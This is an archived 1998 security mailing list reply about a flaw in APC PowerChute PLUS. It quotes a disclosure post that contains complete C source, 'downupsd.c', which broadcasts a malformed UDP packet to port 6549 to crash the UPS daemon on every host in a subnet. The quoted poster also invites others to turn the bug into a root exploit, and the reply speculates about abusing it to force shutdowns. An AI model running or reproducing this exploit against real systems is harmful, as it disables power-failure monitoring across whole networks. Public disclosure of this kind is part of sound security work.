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Re: APC UPS PowerChute PLUS exploit...
From: cds () MCMURDO GOV (Chris Liljenstolpe - Network Engineer)
Date: Mon, 13 Apr 1998 05:53:21 +0000


Greetings,

     I hope that this UDP port (I haven't looked at PowerChute) is just used
by the UPS's to report problems, and that PowerChute doesn't use that to
make critical decisions (like shutdown).  I know PowerChute CAN be used to
shutdown the system, I just don't know if that feature can be triggered by a
network reported event.  That makes for an even better exploit....

     Chris

--On Friday, 10 April, 1998, 23:13 -0400 "Theo Schlossnagle"
<jesus () BLAZE CS JHU EDU> wrote:

I run Solaris x86 (2.5, 2.5.1, 2.6).  I have a APC Smart UPS 700 (Model
shouldn't matter for the exploit).  Exploit in PowerChute PLUS v4.2.2

The PowerChute PLUS software distributed with the UPSs provides a TCP/IP
(UDP/IP) way to communicate with (for monitoring) UPS on the local subnet.
It listens on port 6549 and listens for broadcast requests (UDP).
So if you make as if you are actually requesting information, but send it
the wrong packet... Well end of ./_upsd (the name of the daemon).
I assume an exploit could be tailored to leverage root privileges.
The REALLY BAD news is that ALL upsd's on the subnet are effected (UDP
broadcast)

I would wager that this is not only a problem on Solaris x86.  If anyone
finds this to work on other platforms I would love to know, also if
someone tailors it to gain root or other interesting things, I would love
to here about it.

I spoke with APC (www.apcc.com) and they blew me off.  Forwarded the issue
to their techinical crew, but I never heard word again.

Here goes:

----- begin downupsd.c -----
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>

int main(int argc, char **argv) {
int s;
long on=1;
size_t addrsize;
char buffer[256];
struct sockaddr_in toaddr, fromaddr;
struct hostent h_ent;

if(argc!=2) {
  fprintf(stderr, "Usage:\n\t%s <hostname running upsd>\n", argv[0]);
  exit(0);
}
s = socket(AF_INET,SOCK_DGRAM,0);
setsockopt(s, SOL_SOCKET, SO_BROADCAST, (char *)&on, sizeof(on));

printf("Crashing upsd on host's subnet: %s\n", argv[1]);

toaddr.sin_family = AF_INET;
toaddr.sin_port = htons(0);
toaddr.sin_addr.s_addr = 0x00000000;
bind(s, (struct sockaddr *)&toaddr, sizeof(struct sockaddr_in));
toaddr.sin_port = htons(6549);
memcpy((char *)&h_ent, (char *)gethostbyname(argv[1]), sizeof(h_ent));
memcpy(&toaddr.sin_addr.s_addr, h_ent.h_addr, sizeof(struct in_addr));
toaddr.sin_addr.s_addr |= 0xff000000;
strcpy(buffer, "027|1|public|9|0|0|2010~|0\0");
sendto(s, buffer, 256, 0, (struct sockaddr *)&toaddr,
       sizeof(struct sockaddr_in));

printf("Crashed...\n");
close(s);

}
------- end downupsd.c -----


Theo Schlossnagle
jesus () cs jhu edu
That jesus guy



Chris Liljenstolpe  -  Network Engineer, NOC  -   McMurdo Station Antarctica
Antarctic Supt. Assoc. - under contract to USAP, Nat. Science Foundation OPP
mailto:cds () mcmurdo gov       TEL: +1 509 689 6270       FAX: +1 509 690 6293
PSC 469, Box 700, APO AP 96599-5700 USA   Lat: 77 50 53 S  Long: 166 40 06 E



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